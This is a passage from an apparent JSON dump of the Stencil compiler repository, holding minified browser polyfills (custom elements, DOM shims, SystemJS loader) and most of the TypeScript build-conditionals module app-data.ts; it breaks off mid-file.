m=b.observedAttributes||[]}catch(q){return}finally{this.c=!1}b={localName:a,constructorFunction:b,connectedCallback:f,disconnectedCallback:t,adoptedCallback:k,attributeChangedCallback:h,observedAttributes:m,constructionStack:[]};ba(this.a,\n  a,b);this.g.push(b);this.b||(this.b=!0,this.f(function(){return fa(d)}))};E.prototype.i=function(a){A(this.a,a)};\n  function fa(a){if(!1!==a.b){a.b=!1;for(var b=a.g,d=[],c=new Map,e=0;e<b.length;e++)c.set(b[e].localName,[]);A(a.a,document,{i:function(b){if(void 0===b.__CE_state){var e=b.localName,f=c.get(e);f?f.push(b):a.a.a.get(e)&&d.push(b)}}});for(e=0;e<d.length;e++)y(a.a,d[e]);for(;0<b.length;){var f=b.shift();e=f.localName;f=c.get(f.localName);for(var t=0;t<f.length;t++)y(a.a,f[t]);(e=a.j.get(e))&&D(e)}}}E.prototype.get=function(a){if(a=this.a.a.get(a))return a.constructorFunction};\n  E.prototype.m=function(a){if(!g(a))return Promise.reject(new SyntaxError(\"'\"+a+\"' is not a valid custom element name.\"));var b=this.j.get(a);if(b)return b.c;b=new ea;this.j.set(a,b);this.a.a.get(a)&&!this.g.some(function(b){return b.localName===a})&&D(b);return b.c};E.prototype.s=function(a){C(this.o);var b=this.f;this.f=function(d){return a(function(){return b(d)})}};window.CustomElementRegistry=E;E.prototype.define=E.prototype.l;E.prototype.upgrade=E.prototype.i;E.prototype.get=E.prototype.get;\n  E.prototype.whenDefined=E.prototype.m;E.prototype.polyfillWrapFlushCallback=E.prototype.s;var F=window.Document.prototype.createElement,G=window.Document.prototype.createElementNS,ha=window.Document.prototype.importNode,ia=window.Document.prototype.prepend,ja=window.Document.prototype.append,ka=window.DocumentFragment.prototype.prepend,la=window.DocumentFragment.prototype.append,H=window.Node.prototype.cloneNode,I=window.Node.prototype.appendChild,J=window.Node.prototype.insertBefore,K=window.Node.prototype.removeChild,L=window.Node.prototype.replaceChild,M=Object.getOwnPropertyDescriptor(window.Node.prototype,\n  \"textContent\"),N=window.Element.prototype.attachShadow,O=Object.getOwnPropertyDescriptor(window.Element.prototype,\"innerHTML\"),P=window.Element.prototype.getAttribute,Q=window.Element.prototype.setAttribute,R=window.Element.prototype.removeAttribute,S=window.Element.prototype.getAttributeNS,T=window.Element.prototype.setAttributeNS,U=window.Element.prototype.removeAttributeNS,ma=window.Element.prototype.insertAdjacentElement,na=window.Element.prototype.insertAdjacentHTML,oa=window.Element.prototype.prepend,\n  pa=window.Element.prototype.append,V=window.Element.prototype.before,qa=window.Element.prototype.after,ra=window.Element.prototype.replaceWith,sa=window.Element.prototype.remove,ta=window.HTMLElement,W=Object.getOwnPropertyDescriptor(window.HTMLElement.prototype,\"innerHTML\"),ua=window.HTMLElement.prototype.insertAdjacentElement,va=window.HTMLElement.prototype.insertAdjacentHTML;var wa=new function(){};function xa(){var a=X;window.HTMLElement=function(){function b(){var b=this.constructor,c=a.g.get(b);if(!c)throw Error(\"The custom element being constructed was not registered with `customElements`.\");var e=c.constructionStack;if(0===e.length)return e=F.call(document,c.localName),Object.setPrototypeOf(e,b.prototype),e.__CE_state=1,e.__CE_definition=c,w(a,e),e;c=e.length-1;var f=e[c];if(f===wa)throw Error(\"The HTMLElement constructor was either called reentrantly for this constructor or called multiple times.\");\n  e[c]=wa;Object.setPrototypeOf(f,b.prototype);w(a,f);return f}b.prototype=ta.prototype;Object.defineProperty(b.prototype,\"constructor\",{writable:!0,configurable:!0,enumerable:!1,value:b});return b}()};function Y(a,b,d){function c(b){return function(d){for(var e=[],c=0;c<arguments.length;++c)e[c]=arguments[c];c=[];for(var f=[],m=0;m<e.length;m++){var q=e[m];q instanceof Element&&l(q)&&f.push(q);if(q instanceof DocumentFragment)for(q=q.firstChild;q;q=q.nextSibling)c.push(q);else c.push(q)}b.apply(this,e);for(e=0;e<f.length;e++)z(a,f[e]);if(l(this))for(e=0;e<c.length;e++)f=c[e],f instanceof Element&&x(a,f)}}void 0!==d.h&&(b.prepend=c(d.h));void 0!==d.append&&(b.append=c(d.append))};function ya(){var a=X;r(Document.prototype,\"createElement\",function(b){if(this.__CE_hasRegistry){var d=a.a.get(b);if(d)return new d.constructorFunction}b=F.call(this,b);w(a,b);return b});r(Document.prototype,\"importNode\",function(b,d){b=ha.call(this,b,!!d);this.__CE_hasRegistry?A(a,b):v(a,b);return b});r(Document.prototype,\"createElementNS\",function(b,d){if(this.__CE_hasRegistry&&(null===b||\"http://www.w3.org/1999/xhtml\"===b)){var c=a.a.get(d);if(c)return new c.constructorFunction}b=G.call(this,b,\n  d);w(a,b);return b});Y(a,Document.prototype,{h:ia,append:ja})};function za(){function a(a,c){Object.defineProperty(a,\"textContent\",{enumerable:c.enumerable,configurable:!0,get:c.get,set:function(a){if(this.nodeType===Node.TEXT_NODE)c.set.call(this,a);else{var d=void 0;if(this.firstChild){var e=this.childNodes,k=e.length;if(0<k&&l(this)){d=Array(k);for(var h=0;h<k;h++)d[h]=e[h]}}c.set.call(this,a);if(d)for(a=0;a<d.length;a++)z(b,d[a])}}})}var b=X;r(Node.prototype,\"insertBefore\",function(a,c){if(a instanceof DocumentFragment){var e=Array.prototype.slice.apply(a.childNodes);\n  a=J.call(this,a,c);if(l(this))for(c=0;c<e.length;c++)x(b,e[c]);return a}e=l(a);c=J.call(this,a,c);e&&z(b,a);l(this)&&x(b,a);return c});r(Node.prototype,\"appendChild\",function(a){if(a instanceof DocumentFragment){var c=Array.prototype.slice.apply(a.childNodes);a=I.call(this,a);if(l(this))for(var e=0;e<c.length;e++)x(b,c[e]);return a}c=l(a);e=I.call(this,a);c&&z(b,a);l(this)&&x(b,a);return e});r(Node.prototype,\"cloneNode\",function(a){a=H.call(this,!!a);this.ownerDocument.__CE_hasRegistry?A(b,a):v(b,\n  a);return a});r(Node.prototype,\"removeChild\",function(a){var c=l(a),e=K.call(this,a);c&&z(b,a);return e});r(Node.prototype,\"replaceChild\",function(a,c){if(a instanceof DocumentFragment){var e=Array.prototype.slice.apply(a.childNodes);a=L.call(this,a,c);if(l(this))for(z(b,c),c=0;c<e.length;c++)x(b,e[c]);return a}e=l(a);var f=L.call(this,a,c),d=l(this);d&&z(b,c);e&&z(b,a);d&&x(b,a);return f});M&&M.get?a(Node.prototype,M):ca(b,function(b){a(b,{enumerable:!0,configurable:!0,get:function(){for(var a=[],\n  b=0;b<this.childNodes.length;b++){var f=this.childNodes[b];f.nodeType!==Node.COMMENT_NODE&&a.push(f.textContent)}return a.join(\"\")},set:function(a){for(;this.firstChild;)K.call(this,this.firstChild);null!=a&&\"\"!==a&&I.call(this,document.createTextNode(a))}})})};function Aa(a){function b(b){return function(e){for(var c=[],d=0;d<arguments.length;++d)c[d]=arguments[d];d=[];for(var k=[],h=0;h<c.length;h++){var m=c[h];m instanceof Element&&l(m)&&k.push(m);if(m instanceof DocumentFragment)for(m=m.firstChild;m;m=m.nextSibling)d.push(m);else d.push(m)}b.apply(this,c);for(c=0;c<k.length;c++)z(a,k[c]);if(l(this))for(c=0;c<d.length;c++)k=d[c],k instanceof Element&&x(a,k)}}var d=Element.prototype;void 0!==V&&(d.before=b(V));void 0!==V&&(d.after=b(qa));void 0!==ra&&\n  r(d,\"replaceWith\",function(b){for(var e=[],c=0;c<arguments.length;++c)e[c]=arguments[c];c=[];for(var d=[],k=0;k<e.length;k++){var h=e[k];h instanceof Element&&l(h)&&d.push(h);if(h instanceof DocumentFragment)for(h=h.firstChild;h;h=h.nextSibling)c.push(h);else c.push(h)}k=l(this);ra.apply(this,e);for(e=0;e<d.length;e++)z(a,d[e]);if(k)for(z(a,this),e=0;e<c.length;e++)d=c[e],d instanceof Element&&x(a,d)});void 0!==sa&&r(d,\"remove\",function(){var b=l(this);sa.call(this);b&&z(a,this)})};function Ba(){function a(a,b){Object.defineProperty(a,\"innerHTML\",{enumerable:b.enumerable,configurable:!0,get:b.get,set:function(a){var e=this,d=void 0;l(this)&&(d=[],p(this,function(a){a!==e&&d.push(a)}));b.set.call(this,a);if(d)for(var f=0;f<d.length;f++){var t=d[f];1===t.__CE_state&&c.disconnectedCallback(t)}this.ownerDocument.__CE_hasRegistry?A(c,this):v(c,this);return a}})}function b(a,b){r(a,\"insertAdjacentElement\",function(a,e){var d=l(e);a=b.call(this,a,e);d&&z(c,e);l(a)&&x(c,e);return a})}\n  function d(a,b){function e(a,b){for(var e=[];a!==b;a=a.nextSibling)e.push(a);for(b=0;b<e.length;b++)A(c,e[b])}r(a,\"insertAdjacentHTML\",function(a,c){a=a.toLowerCase();if(\"beforebegin\"===a){var d=this.previousSibling;b.call(this,a,c);e(d||this.parentNode.firstChild,this)}else if(\"afterbegin\"===a)d=this.firstChild,b.call(this,a,c),e(this.firstChild,d);else if(\"beforeend\"===a)d=this.lastChild,b.call(this,a,c),e(d||this.firstChild,null);else if(\"afterend\"===a)d=this.nextSibling,b.call(this,a,c),e(this.nextSibling,\n  d);else throw new SyntaxError(\"The value provided (\"+String(a)+\") is not one of 'beforebegin', 'afterbegin', 'beforeend', or 'afterend'.\");})}var c=X;N&&r(Element.prototype,\"attachShadow\",function(a){a=N.call(this,a);var b=c;if(b.b&&!a.__CE_patched){a.__CE_patched=!0;for(var e=0;e<b.c.length;e++)b.c[e](a)}return this.__CE_shadowRoot=a});O&&O.get?a(Element.prototype,O):W&&W.get?a(HTMLElement.prototype,W):da(c,function(b){a(b,{enumerable:!0,configurable:!0,get:function(){return H.call(this,!0).innerHTML},\n  set:function(a){var b=\"template\"===this.localName,c=b?this.content:this,e=G.call(document,this.namespaceURI,this.localName);for(e.innerHTML=a;0<c.childNodes.length;)K.call(c,c.childNodes[0]);for(a=b?e.content:e;0<a.childNodes.length;)I.call(c,a.childNodes[0])}})});r(Element.prototype,\"setAttribute\",function(a,b){if(1!==this.__CE_state)return Q.call(this,a,b);var e=P.call(this,a);Q.call(this,a,b);b=P.call(this,a);c.attributeChangedCallback(this,a,e,b,null)});r(Element.prototype,\"setAttributeNS\",function(a,\n  b,d){if(1!==this.__CE_state)return T.call(this,a,b,d);var e=S.call(this,a,b);T.call(this,a,b,d);d=S.call(this,a,b);c.attributeChangedCallback(this,b,e,d,a)});r(Element.prototype,\"removeAttribute\",function(a){if(1!==this.__CE_state)return R.call(this,a);var b=P.call(this,a);R.call(this,a);null!==b&&c.attributeChangedCallback(this,a,b,null,null)});r(Element.prototype,\"removeAttributeNS\",function(a,b){if(1!==this.__CE_state)return U.call(this,a,b);var d=S.call(this,a,b);U.call(this,a,b);var e=S.call(this,\n  a,b);d!==e&&c.attributeChangedCallback(this,b,d,e,a)});ua?b(HTMLElement.prototype,ua):ma?b(Element.prototype,ma):console.warn(\"Custom Elements: `Element#insertAdjacentElement` was not patched.\");va?d(HTMLElement.prototype,va):na?d(Element.prototype,na):console.warn(\"Custom Elements: `Element#insertAdjacentHTML` was not patched.\");Y(c,Element.prototype,{h:oa,append:pa});Aa(c)};var Z=window.customElements;if(!Z||Z.forcePolyfill||\"function\"!=typeof Z.define||\"function\"!=typeof Z.get){var X=new u;xa();ya();Y(X,DocumentFragment.prototype,{h:ka,append:la});za();Ba();document.__CE_hasRegistry=!0;var customElements=new E(X);Object.defineProperty(window,\"customElements\",{configurable:!0,enumerable:!0,value:customElements})};\n}).call(self);\n\n// Polyfill document.baseURI\n\"string\"!==typeof document.baseURI&&Object.defineProperty(Document.prototype,\"baseURI\",{enumerable:!0,configurable:!0,get:function(){var a=document.querySelector(\"base\");return a&&a.href?a.href:document.URL}});\n\n// Polyfill CustomEvent\n\"function\"!==typeof window.CustomEvent&&(window.CustomEvent=function(c,a){a=a||{bubbles:!1,cancelable:!1,detail:void 0};var b=document.createEvent(\"CustomEvent\");b.initCustomEvent(c,a.bubbles,a.cancelable,a.detail);return b},window.CustomEvent.prototype=window.Event.prototype);\n\n// Event.composedPath\n(function(b,c,d){b.composedPath||(b.composedPath=function(){if(this.path)return this.path;var a=this.target;for(this.path=[];null!==a.parentNode;)this.path.push(a),a=a.parentNode;this.path.push(c,d);return this.path})})(Event.prototype,document,window);\n\n/*!\nElement.closest and Element.matches\nhttps://github.com/jonathantneal/closest\nCreative Commons Zero v1.0 Universal\n*/\n(function(a){\"function\"!==typeof a.matches&&(a.matches=a.msMatchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||function(a){a=(this.document||this.ownerDocument).querySelectorAll(a);for(var b=0;a[b]&&a[b]!==this;)++b;return!!a[b]});\"function\"!==typeof a.closest&&(a.closest=function(a){for(var b=this;b&&1===b.nodeType;){if(b.matches(a))return b;b=b.parentNode}return null})})(window.Element.prototype);\n\n/*!\nElement.getRootNode()\n*/\n(function(c){function d(a){a=b(a);return a&&11===a.nodeType?d(a.host):a}function b(a){return a&&a.parentNode?b(a.parentNode):a}\"function\"!==typeof c.getRootNode&&(c.getRootNode=function(a){return a&&a.composed?d(this):b(this)})})(Element.prototype);\n\n/*!\nElement.isConnected()\n*/\n(function(a){\"isConnected\"in a||Object.defineProperty(a,\"isConnected\",{configurable:!0,enumerable:!0,get:function(){var a=this.getRootNode({composed:!0});return a&&9===a.nodeType}})})(Element.prototype);\n\n/*!\nElement.remove()\n*/\n(function(b){b.forEach(function(a){a.hasOwnProperty(\"remove\")||Object.defineProperty(a,\"remove\",{configurable:!0,enumerable:!0,writable:!0,value:function(){null!==this.parentNode&&this.parentNode.removeChild(this)}})})})([Element.prototype,CharacterData.prototype,DocumentType.prototype]);\n\n/*!\nElement.classList\n*/\n!function(e){'classList'in e||Object.defineProperty(e,\"classList\",{get:function(){var e=this,t=(e.getAttribute(\"class\")||\"\").replace(/^\\s+|\\s$/g,\"\").split(/\\s+/g);function n(){t.length>0?e.setAttribute(\"class\",t.join(\" \")):e.removeAttribute(\"class\")}return\"\"===t[0]&&t.splice(0,1),t.toggle=function(e,i){void 0!==i?i?t.add(e):t.remove(e):-1!==t.indexOf(e)?t.splice(t.indexOf(e),1):t.push(e),n()},t.add=function(){for(var e=[].slice.call(arguments),i=0,s=e.length;i<s;i++)-1===t.indexOf(e[i])&&t.push(e[i]);n()},t.remove=function(){for(var e=[].slice.call(arguments),i=0,s=e.length;i<s;i++)-1!==t.indexOf(e[i])&&t.splice(t.indexOf(e[i]),1);n()},t.item=function(e){return t[e]},t.contains=function(e){return-1!==t.indexOf(e)},t.replace=function(e,i){-1!==t.indexOf(e)&&t.splice(t.indexOf(e),1,i),n()},t.value=e.getAttribute(\"class\")||\"\",t}})}(Element.prototype);\n\n/*!\nDOMTokenList\n*/\n(function(b){try{document.body.classList.add()}catch(e){var c=b.add,d=b.remove;b.add=function(){for(var a=0;a<arguments.length;a++)c.call(this,arguments[a])};b.remove=function(){for(var a=0;a<arguments.length;a++)d.call(this,arguments[a])}}})(DOMTokenList.prototype);\n"
  },
  {
    "path": "src/client/polyfills/es5-html-element.js",
    "content": "(function(){if(\"undefined\"!==typeof window&&void 0!==window.Reflect&&void 0!==window.customElements){var a=HTMLElement;window.HTMLElement=function(){return Reflect.construct(a,[],this.constructor)};HTMLElement.prototype=a.prototype;HTMLElement.prototype.constructor=HTMLElement;Object.setPrototypeOf(HTMLElement,a)}})();"
  },
  {
    "path": "src/client/polyfills/index.js",
    "content": "export function applyPolyfills() {\n  var promises = [];\n  if (typeof window !== 'undefined') {\n    var win = window;\n\n    if (!win.customElements ||\n      (win.Element && (!win.Element.prototype.closest || !win.Element.prototype.matches || !win.Element.prototype.remove || !win.Element.prototype.getRootNode))) {\n      promises.push(import(/* webpackChunkName: \"polyfills-dom\" */ './dom.js'));\n    }\n\n    var checkIfURLIsSupported = function() {\n      try {\n        var u = new URL('b', 'http://a');\n        u.pathname = 'c%20d';\n        return (u.href === 'http://a/c%20d') && u.searchParams;\n      } catch (e) {\n        return false;\n      }\n    };\n\n    if (\n      'function' !== typeof Object.assign || !Object.entries ||\n      !Array.prototype.find || !Array.prototype.includes ||\n      !String.prototype.startsWith || !String.prototype.endsWith ||\n      (win.NodeList && !win.NodeList.prototype.forEach) ||\n      !win.fetch ||\n      !checkIfURLIsSupported() ||\n      typeof WeakMap == 'undefined'\n    ) {\n      promises.push(import(/* webpackChunkName: \"polyfills-core-js\" */ './core-js.js'));\n    }\n  }\n  return Promise.all(promises);\n}\n"
  },
  {
    "path": "src/client/polyfills/system.js",
    "content": "/**\n * SystemJS 4.0.2\n * MANUAL PATCH: remove script.crossOrigin = \"anonymous\"\n * MANUAL PATCH: add conditionally apply, n.System=n.System||new u\n */\n!function(){var e=\"undefined\"!=typeof self,n=e?self:global;var t;if(\"undefined\"!=typeof document){var e=document.querySelector(\"base[href]\");e&&(t=e.href)}if(!t&&\"undefined\"!=typeof location){var e=(t=location.href.split(\"#\")[0].split(\"?\")[0]).lastIndexOf(\"/\");-1!==e&&(t=t.slice(0,e+1))}var r=/\\\\/g,o=\"undefined\"!=typeof Symbol,i=o&&Symbol.toStringTag,c=o?Symbol():\"@\";function u(){this[c]={}}var s=u.prototype;var l;s.import=function(e,n){var t=this;return Promise.resolve(t.resolve(e,n)).then(function(e){var n=function e(n,t,r){var o=n[c][t];if(o)return o;var u=[],s=Object.create(null);i&&Object.defineProperty(s,i,{value:\"Module\"});var l=Promise.resolve().then(function(){return n.instantiate(t,r)}).then(function(e){if(!e)throw Error(\"Module \"+t+\" did not instantiate\");var r=e[1](function(e,n){o.h=!0;var t=!1;if(\"object\"!=typeof e)e in s&&s[e]===n||(s[e]=n,t=!0);else for(var n in e){var r=e[n];n in s&&s[n]===r||(s[n]=r,t=!0)}if(t)for(var e=0;e<u.length;e++)u[e](s);return n},2===e[1].length?{import:function(e){return n.import(e,t)},meta:n.createContext(t)}:void 0);return o.e=r.execute||function(){},[e[0],r.setters||[]]});var f=l.then(function(r){return Promise.all(r[0].map(function(o,i){var c=r[1][i];return Promise.resolve(n.resolve(o,t)).then(function(r){var o=e(n,r,t);return Promise.resolve(o.I).then(function(){return c&&(o.i.push(c),!o.h&&o.I||c(o.n)),o})})})).then(function(e){o.d=e})});return f.catch(function(e){o.e=null,o.er=e}),o=n[c][t]={id:t,i:u,n:s,I:l,L:f,h:!1,d:void 0,e:void 0,er:void 0,E:void 0,C:void 0}}(t,e);return n.C||function(e,n){return n.C=function e(n,t,r){if(!r[t.id])return r[t.id]=!0,Promise.resolve(t.L).then(function(){return Promise.all(t.d.map(function(t){return e(n,t,r)}))})}(e,n,{}).then(function(){return function e(n,t,r){if(r[t.id])return;if(r[t.id]=!0,!t.e){if(t.er)throw t.er;return t.E?t.E:void 0}var o;return t.d.forEach(function(t){{var i=e(n,t,r);i&&(o=o||[]).push(i)}}),o?Promise.all(o).then(i):i();function i(){try{var e=t.e.call(f);if(e)return e=e.then(function(){t.C=t.n,t.E=null}),t.E=t.E||e;t.C=t.n}catch(e){throw t.er=e,e}finally{t.L=t.I=void 0,t.e=null}}}(e,n,{})}).then(function(){return n.n})}(t,n)})},s.createContext=function(e){return{url:e}},s.register=function(e,n){l=[e,n]},s.getRegister=function(){var e=l;return l=void 0,e};var f=Object.freeze(Object.create(null));n.System=n.System||new u;var d=s.register;s.register=function(e,n){d.call(this,e,n)},s.instantiate=function(e,n){var t=this;return\".json\"===e.substr(-5)?fetch(e).then(function(e){return e.text()}).then(function(e){return[[],function(n){return{execute:function(){n(\"default\",JSON.parse(e))}}}]}):new Promise(function(r,o){var i;function c(n){n.filename===e&&(i=n.error)}window.addEventListener(\"error\",c);var u=document.createElement(\"script\");u.charset=\"utf-8\",u.async=!0,u.addEventListener(\"error\",function(){window.removeEventListener(\"error\",c),o(Error(\"Error loading \"+e+(n?\" from \"+n:\"\")))}),u.addEventListener(\"load\",function(){window.removeEventListener(\"error\",c),document.head.removeChild(u),i?o(i):r(t.getRegister())}),u.src=e,document.head.appendChild(u)})},e&&\"function\"==typeof importScripts&&(s.instantiate=function(e){var n=this;return new Promise(function(t,r){try{importScripts(e)}catch(e){r(e)}t(n.getRegister())})}),s.resolve=function(e,n){var o=function(e,n){if(-1!==e.indexOf(\"\\\\\")&&(e=e.replace(r,\"/\")),\"/\"===e[0]&&\"/\"===e[1])return n.slice(0,n.indexOf(\":\")+1)+e;if(\".\"===e[0]&&(\"/\"===e[1]||\".\"===e[1]&&(\"/\"===e[2]||2===e.length&&(e+=\"/\"))||1===e.length&&(e+=\"/\"))||\"/\"===e[0]){var t=n.slice(0,n.indexOf(\":\")+1);var r;if(r=\"/\"===n[t.length+1]?\"file:\"!==t?(r=n.slice(t.length+2)).slice(r.indexOf(\"/\")+1):n.slice(8):n.slice(t.length+(\"/\"===n[t.length])),\"/\"===e[0])return n.slice(0,n.length-r.length-1)+e;var o=r.slice(0,r.lastIndexOf(\"/\")+1)+e,i=[];var c=-1;for(var e=0;e<o.length;e++)-1!==c?\"/\"===o[e]&&(i.push(o.slice(c,e+1)),c=-1):\".\"===o[e]?\".\"!==o[e+1]||\"/\"!==o[e+2]&&e+2!==o.length?\"/\"===o[e+1]||e+1===o.length?e+=1:c=e:(i.pop(),e+=2):c=e;return-1!==c&&i.push(o.slice(c)),n.slice(0,n.length-r.length)+i.join(\"\")}}(e,n||t);if(!o){if(-1!==e.indexOf(\":\"))return Promise.resolve(e);throw Error('Cannot resolve \"'+e+(n?'\" from '+n:'\"'))}return Promise.resolve(o)}}();\n"
  },
  {
    "path": "src/compiler/app-core/app-data.ts",
    "content": "import {\n  BuildConditionals,\n  BuildFeatures,\n  ComponentCompilerMeta,\n  Module,\n  ModuleMap,\n  ValidatedConfig,\n} from '@stencil/core/internal';\nimport { unique } from '@utils';\n\n/**\n * Re-export {@link BUILD} defaults\n */\nexport * from '../../app-data';\n\n/**\n * Generate a {@link BuildFeatures} entity, based on the provided component metadata\n * @param cmps a collection of component compiler metadata, used to set values on the generated build features object\n * @returns the generated build features entity\n */\nexport const getBuildFeatures = (cmps: ComponentCompilerMeta[]): BuildFeatures => {\n  const slot = cmps.some((c) => c.htmlTagNames.includes('slot'));\n  const shadowDom = cmps.some((c) => c.encapsulation === 'shadow');\n  const slotRelocation = cmps.some((c) => c.encapsulation !== 'shadow' && c.htmlTagNames.includes('slot'));\n  const f: BuildFeatures = {\n    allRenderFn: cmps.every((c) => c.hasRenderFn),\n    formAssociated: cmps.some((c) => c.formAssociated),\n    deserializer: cmps.some((c) => c.hasDeserializer),\n    element: cmps.some((c) => c.hasElement),\n    event: cmps.some((c) => c.hasEvent),\n    hasRenderFn: cmps.some((c) => c.hasRenderFn),\n    lifecycle: cmps.some((c) => c.hasLifecycle),\n    asyncLoading: true,\n    hostListener: cmps.some((c) => c.hasListener),\n    hostListenerTargetWindow: cmps.some((c) => c.hasListenerTargetWindow),\n    hostListenerTargetDocument: cmps.some((c) => c.hasListenerTargetDocument),\n    hostListenerTargetBody: cmps.some((c) => c.hasListenerTargetBody),\n    hostListenerTargetParent: cmps.some((c) => c.hasListenerTargetParent),\n    hostListenerTarget: cmps.some((c) => c.hasListenerTarget),\n    member: cmps.some((c) => c.hasMember),\n    method: cmps.some((c) => c.hasMethod),\n    mode: cmps.some((c) => c.hasMode),\n    observeAttribute: cmps.some((c) => c.hasAttribute || c.hasWatchCallback || c.hasDeserializer),\n    prop: cmps.some((c) => c.hasProp),\n    propBoolean: cmps.some((c) => c.hasPropBoolean),\n    propChangeCallback: cmps.some((c) => c.hasWatchCallback || c.hasDeserializer || c.hasSerializer),\n    propNumber: cmps.some((c) => c.hasPropNumber),\n    propString: cmps.some((c) => c.hasPropString),\n    propMutable: cmps.some((c) => c.hasPropMutable),\n    reflect: cmps.some((c) => c.hasReflect || c.hasSerializer),\n    scoped: cmps.some((c) => c.encapsulation === 'scoped'),\n    serializer: cmps.some((c) => c.hasSerializer),\n    shadowDom,\n    shadowDelegatesFocus: shadowDom && cmps.some((c) => c.shadowDelegatesFocus),\n    shadowSlotAssignmentManual: shadowDom && cmps.some((c) => c.slotAssignment === 'manual'),\n    slot,\n    slotRelocation,\n    state: cmps.some((c) => c.hasState),\n    style: cmps.some((c) => c.hasStyle),\n    svg: cmps.some((c) => c.htmlTagNames.includes('svg')),\n    updatable: cmps.some((c) => c.isUpdateable),\n    vdomAttribute: cmps.some((c) => c.hasVdomAttribute),\n    vdomXlink: cmps.some((c) => c.hasVdomXlink),\n    vdomClass: cmps.some((c) => c.hasVdomClass),\n    vdomFunctional: cmps.some((c) => c.hasVdomFunctional),\n    vdomKey: cmps.some((c) => c.hasVdomKey),\n    vdomListener: cmps.some((c) => c.hasVdomListener),\n    vdomPropOrAttr: cmps.some((c) => c.hasVdomPropOrAttr),\n    vdomRef: cmps.some((c) => c.hasVdomRef),\n    vdomRender: cmps.some((c) => c.hasVdomRender),\n    vdomStyle: cmps.some((c) => c.hasVdomStyle),\n    vdomText: cmps.some((c) => c.hasVdomText),\n    taskQueue: true,\n  };\n  f.vdomAttribute = f.vdomAttribute || f.reflect;\n  f.vdomPropOrAttr = f.vdomPropOrAttr || f.reflect;\n\n  return f;\n};\n\nexport const updateComponentBuildConditionals = (moduleMap: ModuleMap, cmps: ComponentCompilerMeta[]) => {\n  cmps.forEach((cmp) => {\n    const importedModules = getModuleImports(moduleMap, cmp.sourceFilePath, []);\n    importedModules.forEach((importedModule) => {\n      // if the component already has a boolean true value it'll keep it\n      // otherwise we get the boolean value from the imported module\n      cmp.hasVdomAttribute = cmp.hasVdomAttribute || importedModule.hasVdomAttribute;\n      cmp.hasVdomPropOrAttr = cmp.hasVdomPropOrAttr || importedModule.hasVdomPropOrAttr;\n      cmp.hasVdomXlink = cmp.hasVdomXlink || importedModule.hasVdomXlink;\n      cmp.hasVdomClass = cmp.hasVdomClass || importedModule.hasVdomClass;\n      cmp.hasVdomFunctional = cmp.hasVdomFunctional || importedModule.hasVdomFunctional;\n      cmp.hasVdomKey = cmp.hasVdomKey || importedModule.hasVdomKey;\n      cmp.hasVdomListener = cmp.hasVdomListener || importedModule.hasVdomListener;\n      cmp.hasVdomRef = cmp.hasVdomRef || importedModule.hasVdomRef;\n      cmp.hasVdomRender = cmp.hasVdomRender || importedModule.hasVdomRender;\n      cmp.hasVdomStyle = cmp.hasVdomStyle || importedModule.hasVdomStyle;\n      cmp.hasVdomText = cmp.hasVdomText || importedModule.hasVdomText;\n\n      cmp.htmlAttrNames.push(...importedModule.htmlAttrNames);\n      cmp.htmlTagNames.push(...importedModule.htmlTagNames);\n      cmp.potentialCmpRefs.push(...importedModule.potentialCmpRefs);\n    });\n\n    cmp.htmlAttrNames = unique(cmp.htmlAttrNames);\n    cmp.htmlTagNames = unique(cmp.htmlTagNames);\n    cmp.potentialCmpRefs = unique(cmp.potentialCmpRefs);\n  });\n};\n\nconst getModuleImports = (moduleMap: ModuleMap, filePath: string, importedModules: Module[]) => {\n  let moduleFile = moduleMap.get(filePath);\n  if (moduleFile == null) {\n    moduleFile = moduleMap.get(filePath + '.tsx');\n    if (moduleFile == null) {\n      moduleFile = moduleMap.get(filePath + '.ts');\n      if (moduleFile == null) {\n        moduleFile = moduleMap.get(filePath + '.js');\n      }\n    }\n  }\n\n  if (moduleFile != null && !importedModules.some((m) => m.sourceFilePath === moduleFile.sourceFilePath)) {\n    importedModules.push(moduleFile);\n\n    moduleFile.localImports.forEach((localImport) => {\n      getModuleImports(moduleMap, localImport, importedModules);\n    });\n\n    // Follow functional component dependencies resolved via typeChecker.\n    moduleFile.functionalComponentDeps?.forEach((depPath) => {\n      getModuleImports(moduleMap, depPath, importedModules);\n    });\n  }\n  return importedModules;\n};\n\n/**\n * Update the provided build conditionals object in-line with a provided Stencil project configuration\n *\n * **This function mutates the build conditionals argument**\n *\n * @param config the Stencil configuration to use to update the provided build conditionals\n * @param b the build conditionals to update\n */\nexport const updateBuildConditionals = (config: ValidatedConfig, b: BuildConditionals): void => {\n  b.isDebug = config.logLevel === 'debug';\n  b.isDev = !!config.devMode;\n  b.isTesting = !!config._isTesting;\n  b.devTools = b.isDev && !config._isTesting;\n  b.profile = !!config.profile;\n  b.hotModuleReplacement = !!(\n    config.devMode &&\n    config.devServer &&\n    config.devServer.reloadStrategy === 'hmr' &&\n    !config._isTesting\n  );\n  b.updatable = b.updatable || b.hydrateClientSide || b.hotModuleReplacement;\n  b.member = b.member || b.updatable || b.mode || b.lifecycle;\n  b.constructableCSS = !b.hotModuleReplacement || !!config._isTesting;\n  b.asyncLoading = !!(b.asyncLoading || b.lazyLoad || b.taskQueue || b.initializeNextTick);\n  b.cssAnnotations = true;\n  // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior\n  b.appendChildSlotFix = config.extras.appendChildSlotFix;\n  // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior\n  b.slotChildNodesFix = config.extras.slotChildNodesFix;\n  // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior\n  b.experimentalSlotFixes = config.extras.experimentalSlotFixes;\n  // TODO(STENCIL-1086): remove this option when it's the default behavior\n  b.experimentalScopedSlotChanges = config.extras.experimentalScopedSlotChanges;\n  // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior\n  b.cloneNodeFix = config.extras.cloneNodeFix;\n  b.lifecycleDOMEvents = !!(b.isDebug || config._isTesting || config.extras.lifecycleDOMEvents);\n  // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior\n  b.scopedSlotTextContentFix = !!config.extras.scopedSlotTextContentFix;\n  // TODO(STENCIL-1305): remove this option\n  b.scriptDataOpts = config.extras.scriptDataOpts;\n  b.attachStyles = true;\n  b.invisiblePrehydration = typeof config.invisiblePrehydration === 'undefined' ? true : config.invisiblePrehydration;\n  // TODO(STENCIL-854): Remove code related to legacy shadowDomShim field\n  if (b.shadowDomShim) {\n    b.slotRelocation = b.slot;\n  }\n  if (config.hydratedFlag) {\n    b.hydratedAttribute = 